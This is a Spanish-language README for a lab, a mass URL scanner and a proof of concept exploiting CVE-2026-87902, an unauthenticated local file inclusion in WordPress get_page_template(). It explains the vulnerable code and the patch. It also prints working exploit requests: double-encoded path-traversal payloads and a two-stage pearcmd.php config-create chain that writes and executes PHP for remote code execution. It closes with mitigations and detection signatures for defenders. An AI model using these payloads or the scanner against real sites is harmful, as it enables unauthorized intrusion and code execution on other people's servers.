
Laboratorio de reproducción + escáner de lista de URL + PoC para CVE-2026-87902 / GHSA-7hp8-65ch-5whp — LFI no autenticado en get_page_template() de WordPress a RCE condicional (WP 4.7.0-7.1.1, corregido en 7.1.2). Pruebas autorizadas/defensivas.
get_page_template() de WordPress → RCE condicionalLaboratorio de reproducción + escáner de listas de URL + PoC, construido y validado de extremo a extremo contra WordPress genuino 7.1.1 (vulnerable) y 7.1.2 (parcheado) en el laboratorio Docker.
include/require (path traversal → inclusión local de PHP)AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H)page-* (p. ej. page-templates/ — presente en Twenty Twelve, Twenty Fourteen, Neve, Hestia, Sydney); (2) solo para RCE: un pearcmd.php legible y register_argc_argv=On.wp-includes/template.php :: get_page_template() construye un candidato de plantilla a partir de la
query var pagename controlada por el atacante sin validate_file():
// WordPress 7.1.1 (VULNERABLE)
if ( $pagename ) {
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) { // <-- no validate_file()
$templates[] = "page-{$pagename_decoded}.php";
}
$templates[] = "page-{$pagename}.php";
}
// WordPress 7.1.2 (PATCHED) — the guard the sibling $template branch already had, + realpath containment
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
$templates[] = "page-{$pagename_decoded}.php";
}
// plus new _wp_is_template_path_allowed() enforcing the resolved path stays inside a theme root
locate_template() luego hace file_exists($theme_dir . '/' . $candidate) e include del archivo encontrado.
Como el candidato es page-{...}.php, el payload debe continuar un directorio de tema real que
comience con page- (p. ej. page-templates/) y luego salir con ../ hacia cualquier .php legible.
La doble codificación es obligatoria. get_query_var('pagename') ya está decodificado una vez por PHP, por lo que un
../ simple hace que urldecode($pagename) === $pagename y la rama vulnerable se omita. Un
%252e%252e%252f doble-codificado sobrevive la primera decodificación como %2e%2e%2f y se convierte en ../
solo por el urldecode() extra — que es el bug.
lab/)Versiones genuinas en paralelo en el host Docker, que difieren solo por el parche de seguridad:
Imagen base wordpress:php8.3-apache (que ya incluye pearcmd.php y register_argc_argv=On),
con el core incluido reemplazado por los auténticos wordpress-7.1.1.zip / 7.1.2.zip. Twenty Fourteen está
activado (con page-templates/ real), y también se crea un fixture page-templates/ en el tema activo.
ID de página publicada = 2 (Sample Page).
# on the docker lab host
cd /tmp/cve-2026-87902-lab
./up.sh # build + install both instances (idempotent)
./down.sh # tear down + remove volumes
Los puertos se enlazan solo a 127.0.0.1 — la instancia vulnerable nunca queda expuesta a la red.
poc/cve-2026-87902-scan.py)Python 3, solo stdlib (sin pip install). Toma una lista de URLs y reporta cuáles son
vulnerables. El escaneo por defecto es no destructivo: incluye el archivo core de solo lectura
wp-links-opml.php y busca el documento OPML resultante — prueba de que la inclusión arbitraria de .php
se disparó, sin escrituras ni cambios de estado.
# single URL
./cve-2026-87902-scan.py http://target/
# a list of your assets, JSON report, 20 workers
./cve-2026-87902-scan.py -f urls.txt --threads 20 --json report.json
# from stdin, only show vulnerable/possibly rows
cat urls.txt | ./cve-2026-87902-scan.py --stdin -q
<generator> → wp-links-opml.php →
readme.html → asset /wp-includes/ ?ver=)./wp/v2/pages, fallback ?rest_route=, homepage
page-id-N, por defecto page_id=2) — necesario para que la petición resuelva a una Page y se ejecute get_page_template().segment × depth (segmento por defecto templates, profundidades 4,3,5,6,7), enviar
(POST, para esquivar la redirección canónica) y
exigir un que contenga + un marcador secundario ( / / ).Robustez: preserva rutas de subdirectorio (http://host/blog), maneja gzip/deflate y charsets inusuales,
reintenta una sonda una vez ante error de transporte, descubre/valida IDs de página (REST → ?rest_route= → homepage
→ defaults), aplica un presupuesto de tiempo por objetivo, y nunca afirma NOT_VULNERABLE a partir de una fuente de
versión de baja confianza (asset ?ver= / readme.html) — esas degradan a POSSIBLY.
Código de salida: 2 si hay algún VULNERABLE, 1 si hay algún POSSIBLY (y ningún VULNERABLE), si no 0.
Flags útiles: --segments, --depths, --method {POST,GET,both}, --page-id, --max-pageids,
--max-time (presupuesto por objetivo), --timeout, --threads, --proxy, --header, --insecure
(TLS off — solo dev), --json, --jsonl. Para una instalación de WordPress en subdirectorio, pasar la base completa
(p. ej. https://host/blog); para Bedrock/core-en-wp/ el barrido también prueba objetivos de oráculo con prefijo .
./cve-2026-87902-scan.py http://target/ --verify-rce --i-have-authorization --page-id 2
Ejecuta la cadena PEAR pearcmd.php: la query string dividida por + lleva argv de config-create que escribe
un marcador .php sin comillas bajo /tmp; una segunda petición lo incluye. Imprime el marcador ejecutado +
php_uname() + uid. Escribe un archivo en el objetivo → un solo objetivo, requiere --i-have-authorization,
desactivado por defecto.
evidence/)Formas de petición probadas:
LFI (detection, non-destructive):
POST /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-links-opml
-> 200 with <opml version="1.0"> in the body (depth 4 = webroot on /var/www/html)
RCE (conditional; register_argc_argv=On + readable pearcmd.php):
Stage 1 POST /?+config-create+/<?=...chr()-built payload...?>+/tmp/x.php
body: page_id=2&pagename=templates%252f(%252e%252e%252f x7)usr%252flocal%252flib%252fphp%252fpearcmd
Stage 2 POST /?page_id=2&pagename=templates%252f(%252e%252e%252f x7)tmp%252fx
-> body contains the executed marker + php_uname() + uid=33
register_argc_argv=Off para el SAPI web y eliminar/denegar pearcmd.php;
esto elimina la escalada a RCE incluso si el LFI es alcanzable.pagename que contenga ..; la coocurrencia de page_id + un pagename que comience con templates%252f /
contenga %252e%252e en la raíz del sitio o /index.php es una señal de explotación casi segura.Solo para pruebas de seguridad autorizadas, educación e investigación defensiva.
| Servicio | URL (solo loopback) | WordPress | Rol |
|---|
wp-vuln | http://127.0.0.1:8091 | 7.1.1 | vulnerable |
wp-patched | http://127.0.0.1:8092 | 7.1.2 | control parcheado |
db | — | MySQL 8.4 | compartido (dos bases de datos) |
page_id=<id>&pagename=<../ doble-codificado → wp-links-opml><opml version="1.0"></opml><outline<dateCreated>.php garantizado-inexistente. Si el OPML aún aparece, el OPML es ambiental (proxy / caché / app de feeds),
no nuestra inclusión → degradado a POSSIBLY. Solo un hit cuyo control esté limpio es VULNERABLE.| Veredicto | Significado |
|---|
VULNERABLE | El oráculo OPML se disparó — LFI confirmado (definitivo) |
NOT_VULNERABLE | Versión de rama parcheada, o versión fuera de 4.7.0–7.1.1 |
POSSIBLY_VULNERABLE | Versión vulnerable/desconocida pero oráculo silencioso (probablemente sin directorio de tema page-*, diseño no estándar, o sin ID de página descubrible) — verificar manualmente |
NOT_WORDPRESS / ERROR | Sin indicadores de WP / fallo de transporte |
wp/| Archivo | Qué demuestra |
|---|
manual-validate.sh / ev-lfi.log | El oráculo OPML se dispara en 7.1.1 (profundidad 4, POST y GET), silencioso en 7.1.2; solo funciona la profundidad 4; la codificación simple falla |
rce-validate.sh / ev-rce.log | RCE PEAR completa en 7.1.1 (uid=33 como www-data, profundidad 7); el parcheado no escribe archivo, no ejecuta nada |
ev-scan-table.log / ev-scan-results.json | Escáner sobre {vuln, patched, non-WP, dead}: VULNERABLE / NOT_VULNERABLE / NOT_WORDPRESS / ERROR |